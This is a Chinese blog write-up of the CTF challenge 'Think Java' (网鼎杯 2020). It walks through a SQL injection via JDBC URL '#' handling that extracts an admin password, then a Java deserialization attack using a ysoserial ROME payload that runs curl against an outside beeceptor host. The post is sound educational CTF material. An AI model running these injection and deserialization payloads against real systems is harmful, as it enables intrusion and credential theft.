刷题笔记:[网鼎杯 2020 朱雀组]Think Java


前言

关键字:[java|jdbc|sql注入|ysoserial|java反序列化|ROME]

给了部分class

package cn.abc.core.controller;

import cn.abc.common.bean.ResponseCode;
import cn.abc.common.bean.ResponseResult;
import cn.abc.common.security.annotation.Access;
import cn.abc.core.sqldict.SqlDict;
import cn.abc.core.sqldict.Table;
import io.swagger.annotations.ApiOperation;
import java.io.IOException;
import java.util.List;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@CrossOrigin
@RestController
@RequestMapping({"/common/test"})
public class Test {
    public Test() {
    }

    @PostMapping({"/sqlDict"})
    @Access
    @ApiOperation("为了开发方便对应数据库字典查询")
    public ResponseResult sqlDict(String dbName) throws IOException {
        List<Table> tables = SqlDict.getTableData(dbName, "root", "abc@12345");
        return ResponseResult.e(ResponseCode.OK, tables);
    }
}

题解

看class,感觉就是sql注入,但问题是要找到输入点。

有swagger,默认是/swagger-ui.html

在这有字符串拼接的sql,可以尝试sql注入

jdbc的sql注入

jdbc连接数据库语句后面可以跟参数

jdbc:mysql://localhost:3306/数据库名?user=用户名&password=密码&useUnicode=true&characterEncoding=utf-8&serverTimezone=GMT

在这有个问题,首先他要在连接数据库的时候拼接字符串,又在sql语句里拼接,如果按照以前sql注入那样闭合+注释,就会导致在执行jdbc的时候直接报错。但还好,jdbc对于#?有特殊的处理

#?号问题

#在jdbc中无实际意义且#号后面的会被忽视。

?也是一样的,不过需要加个键值对。

jdbc:mysql://localhost:3306/myapp?a=1' union select 1#
jdbc:mysql://localhost:3306/myapp#' union select 1#

于是,类似sql注入,位置在这,字段名也是有的。

/common/test/sqlDict?dbname=myapp#' union select pwd from user#

爆出密码admin@Rrrr_ctf_asde,同样操作爆出用户名为admin

然后登陆

返回了一个auth头

java反序列化

下方的特征可以作为序列化的标志参考:

一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段Java序列化的16进制。

而这段数据正好是rO0AB,意味着可以尝试反序列化。

这段可以base64解码

怪,用自己的vps可以,用beeceptor就不行。

burp插件

扫出来是ROME类型

rome可以命令执行,URLDNS可以进行dns回显

直接在插件里写好要执行的命令直接打。

ysoserial

无语,翻了下工具记录,才发现这题我做过。

java -jar ysoserial.jar ROME "curl https://asdfasdf.free.beeceptor.com" | base64 -w 0


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录